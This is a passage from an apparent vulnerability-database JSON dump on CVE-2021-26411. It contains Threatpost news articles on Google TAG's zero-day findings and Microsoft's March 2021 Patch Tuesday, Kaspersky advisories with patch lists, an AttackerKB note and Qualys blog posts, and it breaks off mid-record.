Europe via LinkedIn before researchers from Google discovered and reported the vulnerability.\n\nThat\u2019s the word from researchers from Google Threat Analysis Group (TAG) and Google Project Zero, who Wednesday [posted a blog](<https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/>) shedding more light on several zero-day flaws that they discovered so far this year. Researchers in particular detailed how attackers exploited the vulnerabilities\u2014the prevalence of which are on the rise\u2013before they were addressed by their respective vendors.\n\nTAG researchers discovered the Safari WebKit flaw, tracked as [CVE-\u200b2021-1879](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1879>), on March 19. The vulnerability allowed for the processing of maliciously crafted web content for universal cross site scripting and was addressed by Apple in [an update](<https://support.apple.com/en-us/HT212256>) later that month.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nBefore the fix, researchers assert Russian-language threat actors were exploiting the vulnerability in the wild by using LinkedIn Messaging to send government officials from Western European countries malicious links that could collect website-authentication cookies, according to the post by Maddie Stone and Clement Lecigne from Google TAG.\n\n\u201cIf the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next-stage payloads,\u201d they wrote.\n\nThe exploit, which targeted iOS versions 12.4 through 13.7, would turn off [Same-Origin-Policy](<https://en.wikipedia.org/wiki/Same-origin_policy>) protections on an infected device to collect authentication cookies from several popular websites\u2013including Google, Microsoft, LinkedIn, Facebook and Yahoo\u2013and then send them via WebSocket to an attacker-controlled IP, researchers wrote. The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.\n\nMoreover, the campaign targeting iOS devices coincided with others from the same threat actor\u2014which Microsoft has identified as Nobelium\u2013targeting users on Windows devices to deliver Cobalt Strike, researchers wrote. Security firm Volexity described one of these attacks [in a report](<https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/>) posted online in May, the researchers added.\n\nNobellium is believed to be a Russia-based threat group responsible for the [expansive cyber-espionage SolarWinds](<https://threatpost.com/feds-russia-culprit-solarwinds/162785/>) campaign, which affected numerous U.S. government agencies and tech companies, including Microsoft.\n\n## **Other Zero-Day Attacks**\n\nGoogle researchers also linked three additional zero-day flaws they identified this year to a commercial surveillance vendor, according to [Google TAG\u2019s Shane Huntley](<https://twitter.com/ShaneHuntley/status/1415340345500463113>). Two of those vulnerabilities\u2013[CVE-2021-21166](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21166>) and [CVE-2021-30551](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30551>)\u2014were found in Chrome, and one, tracked as [CVE-2021-33742](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33742>), in Internet Explorer.\n\nCVE-2021-21166 and CVE-2021-30551, two Chrome rendered remote-code execution (RCE) flaws, were identified separately but later believed to be used by the same actor, researchers wrote in the blog. Google researchers discovered the former in February and the latter in June.\n\n\u201cBoth of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia,\u201d Stone and Lecigne wrote. \u201cThe links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.\u201d\n\nWhen prospective victims clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client, and generate ECDH keys to encrypt the exploits, researchers wrote. This info\u2014which included screen resolution, timezone, languages, browser plugins, and available MIME types\u2014would then be sent back to the exploit server and used by attackers to decide whether or not an exploit should be delivered to the target, they said.\n\nResearchers also identified a separate campaigned in April that also targeted Armenian users by leveraging CVE-2021-26411, an RCE bug found in Internet Explorer (IE). The campaign loaded web content within IE that contained malicious Office documents, researchers wrote.\n\n\u201cThis happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page,\u201d Stone and Lecigne explained.\n\nAt the time, researchers said they were unable to recover the next-stage payload, but successfully recovered the exploit after discovering an early June campaign from the same actors. Microsoft patched the flaw later that month, they said.\n\n\n\nClick to Zoom CREDIT: TAG\n\n## **Why There is an Increase in Zero-Days?**\n\nAll in all, security researchers have identified 33 [zero-day flaws](<https://threatpost.com/kaseya-patches-zero-days-revil-attacks/167670/>) so far in 2021, which is 11 more than the total number from 2020, according to the post.\n\nWhile that trend reflects an increase in the number of these types of vulnerabilities that exist, Google researchers \u201cbelieve greater detection and disclosure efforts are also contributing to the upward trend,\u201d they wrote.\n\nStill, it\u2019s highly possible that attackers are indeed using more [zero-day exploits](<https://threatpost.com/zero-day-wipe-my-book-live/167422/>) for a few reasons, researchers noted. One is that the increase and maturation of security technologies and features means attackers also have to level up, which in turn requires more [zero-day vulnerabilities](<https://threatpost.com/solarwinds-hotfix-zero-day-active-attack/167704/>) for functional attack chains, they said.\n\nThe growth of mobile platforms also has resulted in an increase in the number of products that threat actors want to target\u2014hence more reason to use zero-day exploits, researchers observed. Perhaps inspired by this increase in demand, commercial vendors also are selling more access to zero-days than in the early 2010s, they said.\n\nFinally, the maturation of security protections and strategies also inspires sophistication on the part of attackers as well, boosting the need for them to use zero-day flaws to convince victims to install malware, researchers noted.\n\n\u201cDue to advancements in security, these actors now more often have to use 0-day exploits to accomplish their goals,\u201d Stone and Lecigne wrote.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-15T11:04:49", "type": "threatpost", "title": "Safari Zero-Day Used in Malicious LinkedIn Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1879", "CVE-2021-21166", "CVE-2021-26411", "CVE-2021-30551", "CVE-2021-33742"], "modified": "2021-07-15T11:04:49", "id": "THREATPOST:EA23582BD77C428ACE9B9DB7D5741EB6", "href": "https://threatpost.com/safari-zero-day-linkedin/167814/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-10T13:10:52", "description": "Microsoft has released its regularly scheduled March Patch Tuesday updates, which address 89 security vulnerabilities overall.\n\nIncluded in the slew are 14 critical flaws and 75 important-severity flaws. Microsoft also included five previously disclosed vulnerabilities, which are being actively exploited in the wild.\n\nFour of the actively exploited flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065), found [in Microsoft Exchange](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>), were disclosed as part of an emergency patch earlier this month by Microsoft; [businesses have been scrambling to patch their systems](<https://threatpost.com/cisa-federal-agencies-patch-exchange-servers/164499/>) as the bugs continue to be exploited in targeted attacks. The fifth actively-exploited flaw exists in the Internet Explorer and Microsoft Edge browsers ([CVE-2021-26411](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26411>)). Proof-of-concept (PoC) exploit code also exists for this flaw, according to Microsoft.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cFor all of March, Microsoft released patches for 89 unique CVEs covering Microsoft Windows components, Azure and Azure DevOps, Azure Sphere, Internet Explorer and Edge (EdgeHTML), Exchange Server, Office and Office Services and Web Apps, SharePoint Server, Visual Studio, and Windows Hyper-V,\u201d said Dustin Childs with Trend Micro\u2019s Zero Day Initiative, [on Tuesday](<https://www.zerodayinitiative.com/blog/2021/3/9/the-march-2021-security-update-review>).\n\n## **Internet Explorer\u2019s Actively Exploited Flaw**\n\nThe memory-corruption flaw ([CVE-2021-26411](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26411>)) in Internet Explorer and Microsoft Edge could enable remote code execution. Researchers said the flaw could allow an attacker to run code on affected systems, if victims view a specially crafted HTML file.\n\n\u201cWhile not as impactful as the Exchange bugs, enterprises that rely on Microsoft browsers should definitely roll this out quickly,\u201d said Childs. \u201cSuccessful exploitation would yield code execution at the level of the logged-on user, which is another reminder not to browse web pages using an account with administrative privileges.\u201d\n\nPoC exploit code is also publicly available for the issue. The bug is \u201ctied to a vulnerability\u201d that was [publicly disclosed in early February](<https://enki.co.kr/blog/2021/02/04/ie_0day.html>) by ENKI researchers. The researchers claimed it was one of the vulnerabilities used in a [concerted campaign by nation-state actors to target security researchers](<https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/>), and they said they would publish PoC exploit code for the flaw after the bug has been patched.\n\n\u201cAs we\u2019ve seen in the past, once PoC details become publicly available, attackers quickly incorporate those PoCs into their attack toolkits,\u201d according to Satnam Narang, staff research engineer at Tenable. \u201cWe strongly encourage all organizations that rely on Internet Explorer and Microsoft Edge (EdgeHTML-Based) to apply these patches as soon as possible.\u201d\n\n## **PoC Exploit Code Available For Windows Privilege Elevation Flaw**\n\nIn addition to the five actively exploited vulnerabilities, Microsoft issued a patch for a vulnerability in Win32K for which public PoC exploit code is also available. This flaw [ranks important in severity](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27077>), and exists in Windows Win32K ([CVE-2021-27077](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27077>)). A local attacker can exploit the flaw to gain elevated privileges, according to Microsoft. While PoC exploit code is available for the flaw, the tech giant said it has not been exploited in the wild, and that exploitation is \u201cless likely.\u201d\n\n## **Other Microsoft Critical Flaws**\n\n** **Microsoft patched 14 critical vulnerabilities overall in this month\u2019s Patch Tuesday updates, including ([CVE-2021-26897](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26897>)), which exists in Windows DNS server and can enable remote code execution. The flaw is one out of seven vulnerabilities in Windows DNS server; the other six are rated important severity. The critical-severity flaw can be exploited by an attacker with an existing foothold on the same network as the vulnerable device; the attack complexity for such an attack is \u201clow.\u201d\n\nA critical remote code-execution flaw also exists in Microsoft\u2019s Windows Hyper-V hardware virtualization product ([CVE-2021-26867](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26867>)), which could allow an authenticated attacker to execute code on the underlying Hyper-V server.\n\n\u201cWhile listed as a CVSS of 9.9, the vulnerability is really only relevant to those using the Plan-9 file system,\u201d said Childs. \u201cMicrosoft does not list other Hyper-V clients as impacted by this bug, but if you are using Plan-9, definitely roll this patch out as soon as possible.\u201d\n\nAnother bug of note is a remote code-execution flaw existing on Microsoft\u2019s SharePoint Server ([CVE-2021-27076](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27076>)). The flaw can be exploited by a remote attacker on the same network as the victim, and has a low attack complexity that makes exploitation more likely, according to Microsoft.\n\n\u201cFor an attack to succeed, the attacker must be able to create or modify sites with the SharePoint server,\u201d according to Childs. \u201cHowever, the default configuration of SharePoint allows authenticated users to create sites. When they do, the user will be the owner of this site and will have all the necessary permissions.\u201d\n\n## **Microsoft Exchange Updates: Patch Now**\n\nThe Microsoft Patch Tuesday updates come as businesses grapple with existing Microsoft Exchange zero-day vulnerabilities that were previously disclosed and continue to be used in active exploits. Overall, Microsoft had released out-of-band fixes for seven vulnerabilities \u2013 four of which were the actively-exploited flaws.\n\nOn Monday, the [European Banking Authority disclosed a cyberattack](<https://www.eba.europa.eu/cyber-attack-european-banking-authority-update-2>) that it said stemmed from an exploit of the Microsoft Exchange flaw. Beyond the European Banking Authority, one recent report said [that at least 30,000 organizations](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>) across the U.S. have been hacked by attackers exploiting the vulnerability.\n\n\u201cIf you run Exchange on-premise, you need to follow the published guidance and apply the patches as soon as possible,\u201d said Childs. \u201cMicrosoft has even taken the extraordinary step of creating patches for out-of-support versions of Exchange. Ignore these updates at your own peril.\u201d\n\nAlso released on Tuesday were Adobe\u2019s security updates, [addressing a cache of critical flaws](<https://threatpost.com/adobe-critical-flaws-windows/164611/>), which, if exploited, could allow for arbitrary code execution on vulnerable Windows systems.\n\n**_Check out our free _****_[upcoming live webinar events](<https://threatpost.com/category/webinars/>)_****_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_** \n\u00b7 March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>)) \n\u00b7 April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-09T22:12:56", "type": "threatpost", "title": "Microsoft Patch Tuesday Updates Fix 14 Critical Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26867", "CVE-2021-26897", "CVE-2021-27065", "CVE-2021-27076", "CVE-2021-27077"], "modified": "2021-03-09T22:12:56", "id": "THREATPOST:056C552B840B2C102A6A75A2087CA8A5", "href": "https://threatpost.com/microsoft-patch-tuesday-updates-critical-bugs/164621/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kaspersky": [{"lastseen": "2023-09-28T15:03:01", "description": "### *Detect date*:\n03/09/2021\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Browser. Malicious users can exploit these vulnerabilities to execute arbitrary code.\n\n### *Exploitation*:\nPublic exploits exist for this vulnerability.\n\n### *Affected products*:\nInternet Explorer 11 \nMicrosoft Edge (EdgeHTML-based) \nInternet Explorer 9\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-27085](<https://nvd.nist.gov/vuln/detail/CVE-2021-27085>) \n[CVE-2021-26411](<https://nvd.nist.gov/vuln/detail/CVE-2021-26411>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Internet Explorer](<https://threats.kaspersky.com/en/product/Microsoft-Internet-Explorer/>)\n\n### *CVE-IDS*:\n[CVE-2021-27085](<https://vulners.com/cve/CVE-2021-27085>)7.6Critical \n[CVE-2021-26411](<https://vulners.com/cve/CVE-2021-26411>)5.1High\n\n### *KB list*:\n[5000809](<http://support.microsoft.com/kb/5000809>) \n[5000822](<http://support.microsoft.com/kb/5000822>) \n[5000847](<http://support.microsoft.com/kb/5000847>) \n[5000808](<http://support.microsoft.com/kb/5000808>) \n[5000803](<http://support.microsoft.com/kb/5000803>) \n[5000807](<http://support.microsoft.com/kb/5000807>) \n[5000848](<http://support.microsoft.com/kb/5000848>) \n[5000800](<http://support.microsoft.com/kb/5000800>) \n[5000841](<http://support.microsoft.com/kb/5000841>) \n[5000802](<http://support.microsoft.com/kb/5000802>)\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-09T00:00:00", "type": "kaspersky", "title": "KLA12108 Multiple vulnerabilities in Microsoft Browser", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411", "CVE-2021-27085"], "modified": "2023-09-28T00:00:00", "id": "KLA12108", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12108/", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-28T15:01:02", "description": "### *Detect date*:\n03/09/2021\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Products (Extended Security Update). Malicious users can exploit these vulnerabilities to execute arbitrary code, gain privileges, cause denial of service, obtain sensitive information.\n\n### *Exploitation*:\nPublic exploits exist for this vulnerability.\n\n### *Affected products*:\nWindows 7 for 32-bit Systems Service Pack 1 \nWindows Server 2008 for x64-based Systems Service Pack 2 \nWindows 7 for x64-based Systems Service Pack 1 \nWindows Server 2008 for 32-bit Systems Service Pack 2 \nWindows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) \nInternet Explorer 9 \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 \nWindows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-26411](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26411>) \n[CVE-2021-26899](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26899>) \n[CVE-2021-26875](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26875>) \n[CVE-2021-27063](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27063>) \n[CVE-2021-26895](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26895>) \n[CVE-2021-24107](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24107>) \n[CVE-2021-26878](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26878>) \n[CVE-2021-27077](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27077>) \n[CVE-2021-26894](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26894>) \n[CVE-2021-26898](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26898>) \n[CVE-2021-26893](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26893>) \n[CVE-2021-26896](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26896>) \n[CVE-2021-26869](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26869>) \n[CVE-2021-26877](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26877>) \n[CVE-2021-1640](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1640>) \n[CVE-2021-26897](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26897>) \n[CVE-2021-26872](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26872>) \n[CVE-2021-26861](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26861>) \n[CVE-2021-26901](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26901>) \n[CVE-2021-26881](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26881>) \n[CVE-2021-26882](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26882>) \n[CVE-2021-26862](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26862>) \n[CVE-2021-26873](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26873>) \n[CVE-2021-26887](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26887>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Internet Explorer](<https://threats.kaspersky.com/en/product/Microsoft-Internet-Explorer/>)\n\n### *CVE-IDS*:\n[CVE-2021-26411](<https://vulners.com/cve/CVE-2021-26411>)5.1High \n[CVE-2021-26899](<https://vulners.com/cve/CVE-2021-26899>)7.2High \n[CVE-2021-26875](<https://vulners.com/cve/CVE-2021-26875>)4.6Warning \n[CVE-2021-27063](<https://vulners.com/cve/CVE-2021-27063>)5.0Warning \n[CVE-2021-24107](<https://vulners.com/cve/CVE-2021-24107>)2.1Warning \n[CVE-2021-26887](<https://vulners.com/cve/CVE-2021-26887>)4.6Warning \n[CVE-2021-26878](<https://vulners.com/cve/CVE-2021-26878>)4.6Warning \n[CVE-2021-27077](<https://vulners.com/cve/CVE-2021-27077>)4.6Warning \n[CVE-2021-26898](<https://vulners.com/cve/CVE-2021-26898>)7.2High \n[CVE-2021-26893](<https://vulners.com/cve/CVE-2021-26893>)7.5Critical \n[CVE-2021-26896](<https://vulners.com/cve/CVE-2021-26896>)5.0Warning \n[CVE-2021-26869](<https://vulners.com/cve/CVE-2021-26869>)2.1Warning \n[CVE-2021-26877](<https://vulners.com/cve/CVE-2021-26877>)7.5Critical \n[CVE-2021-1640](<https://vulners.com/cve/CVE-2021-1640>)4.6Warning \n[CVE-2021-26872](<https://vulners.com/cve/CVE-2021-26872>)4.6Warning \n[CVE-2021-26861](<https://vulners.com/cve/CVE-2021-26861>)6.8High \n[CVE-2021-26901](<https://vulners.com/cve/CVE-2021-26901>)7.2High \n[CVE-2021-26881](<https://vulners.com/cve/CVE-2021-26881>)6.5High \n[CVE-2021-26882](<https://vulners.com/cve/CVE-2021-26882>)4.6Warning \n[CVE-2021-26862](<https://vulners.com/cve/CVE-2021-26862>)7.2High \n[CVE-2021-26873](<https://vulners.com/cve/CVE-2021-26873>)4.6Warning\n\n### *KB list*:\n[5000800](<http://support.microsoft.com/kb/5000800>) \n[5000841](<http://support.microsoft.com/kb/5000841>) \n[5000851](<http://support.microsoft.com/kb/5000851>) \n[5000856](<http://support.microsoft.com/kb/5000856>) \n[5000844](<http://support.microsoft.com/kb/5000844>)\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-09T00:00:00", "type": "kaspersky", "title": "KLA12112 Multiple vulnerabilities in Microsoft Products (ESU)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1640", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26869", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26875", "CVE-2021-26877", "CVE-2021-26878", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26887", "CVE-2021-26893", "CVE-2021-26894", "CVE-2021-26895", "CVE-2021-26896", "CVE-2021-26897", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26901", "CVE-2021-27063", "CVE-2021-27077"], "modified": "2023-09-28T00:00:00", "id": "KLA12112", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12112/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-06-06T15:10:08", "description": "Internet Explorer Memory Corruption Vulnerability\n\n \n**Recent assessments:** \n \n**ccondon-r7** at April 05, 2021 1:20pm UTC reported:\n\nThere is now [public threat intelligence](<https://twitter.com/jeromesegura/status/1378584985792180227>) that the Purple Fox exploit kit has incorporated this vulnerability and is [exploiting it](<https://twitter.com/nao_sec/status/1378546891349106692>).\n\n**gwillcox-r7** at March 11, 2021 5:57pm UTC reported:\n\nThere is now [public threat intelligence](<https://twitter.com/jeromesegura/status/1378584985792180227>) that the Purple Fox exploit kit has incorporated this vulnerability and is [exploiting it](<https://twitter.com/nao_sec/status/1378546891349106692>).\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-11T00:00:00", "type": "attackerkb", "title": "CVE-2021-26411", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1380", "CVE-2021-26411"], "modified": "2021-03-18T00:00:00", "id": "AKB:925F84D3-4FE0-4A18-BAA9-170C701E718D", "href": "https://attackerkb.com/topics/WZgkdqe2vN/cve-2021-26411", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2021-03-19T12:27:17", "description": "This month\u2019s Microsoft Patch Tuesday addresses 82 vulnerabilities, of which 10 are rated with Critical severity. This follows an out-of-band security update on March 2 to address critical vulnerabilities in Microsoft Exchange. Adobe released patches today for its FrameMaker, Creative Cloud Desktop, and Adobe Connect products.\n\n### Internet Explorer Memory Corruption Vulnerability\n\nMicrosoft released patches addressing another 0-day vulnerability (CVE-2021-26411). This is a memory corruption vulnerability in Internet Explorer. This CVE already has a working exploit and is assigned a CVSSv3 base score of 8.8 by the vendor.\n\n### Windows Hyper-V Remote Code Execution (RCE) Vulnerability\n\nMicrosoft released patches to fix a RCE vulnerability in Windows Hyper-V (CVE-2021-26867). This vulnerability has a CVSSv3 base score of 9.9 and should be prioritized for patching.\n\n### Windows DNS Server RCE Vulnerability\n\nMicrosoft released patches to fix a RCE vulnerability in Windows DNS Server (CVE-2021-26897). This vulnerability has a CVSSv3 base score of 9.8 and should be prioritized for patching.\n\n### Workstation Patches\n\nMicrosoft Office vulnerabilities should be prioritized for workstation-type devices.\n\n### ProxyLogon / Exchange Vulnerabilities\n\nOn March 2, Microsoft released out-of-band patches to address critical remote code execution vulnerabilities in Microsoft Exchange Server. See details at [Microsoft Exchange Server Zero-Days (ProxyLogon)](<https://blog.qualys.com/vulnerabilities-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>).\n\n### Adobe\n\nAdobe issued patches today covering multiple vulnerabilities in FrameMaker, Creative Cloud Desktop, and Adobe Connect. Patching Adobe FrameMaker for CVE-2021-21056 and Creative Cloud Desktop for CVE-2021-21068, CVE-2021-21078, and CVE-21069 should be prioritized due to their critical impact.\n\n### About Patch Tuesday\n\nPatch Tuesday QIDs are published at [Security Alerts](<https://www.qualys.com/research/security-alerts/>), typically late in the evening of [Patch Tuesday](<https://blog.qualys.com/tag/patch-tuesday>), followed shortly after by [PT dashboards](<https://qualys-secure.force.com/discussions/s/article/000006505>).", "cvss3": {}, "published": "2021-03-09T21:33:26", "type": "qualysblog", "title": "March 2021 Patch Tuesday \u2013 82 Vulnerabilities, 10 Critical, Adobe", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-21056", "CVE-2021-21068", "CVE-2021-21078", "CVE-2021-26411", "CVE-2021-26867", "CVE-2021-26897"], "modified": "2021-03-09T21:33:26", "id": "QUALYSBLOG:B847D61CCF30D86B3C35C9E4CA764114", "href": "https://blog.qualys.com/category/vulnerabilities-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-09T06:36:02", "description": "[Start your VMDR 30-day, no-cost trial today](<https://www.qualys.com/forms/vmdr/>)\n\n## Overview\n\nOn November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>), &quot;Reducing the Significant Risk of Known Exploited Vulnerabilities.&quot; [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires agencies to review and update agency internal vulnerability management procedures within 60 days according to this directive and remediate each vulnerability according to the timelines outlined in &#x27;CISA&#x27;s vulnerability catalog.\n\nQualys helps customers to identify and assess risk to organizations&#x27; digital infrastructure and automate remediation. Qualys&#x27; guidance for rapid response to Operational Directive is below.\n\n## Directive Scope\n\nThis directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency&#x27;s behalf.\n\nHowever, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA&#x27;s public catalog.\n\n## CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [291 Common Vulnerabilities and Exposures 